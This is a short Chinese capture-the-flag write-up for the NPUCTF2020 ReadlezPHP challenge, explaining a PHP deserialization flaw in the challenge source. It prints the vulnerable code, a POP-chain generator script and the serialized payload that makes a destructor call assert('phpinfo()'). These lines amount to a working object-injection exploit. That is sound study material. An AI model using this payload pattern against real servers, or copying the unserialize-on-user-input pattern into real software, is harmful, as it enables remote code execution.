[NPUCTF2020]ReadlezPHP

Posted 2021-06-18 H3rmesk1t

[NPUCTF2020]Readlezphp

• 考点
• 思路
• Payload

考点

php动态函数、反序列化

思路

①：查看源码，发现href="./time.php?source"
②：跟进去发现源码，很明显的反序列化
③：构造Payload，phpinfo页面搜索flag

Payload

源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

构造的POP链

<?php
class HelloPhp
{
    public $a;
    public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);
?>
=>
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

利用POP链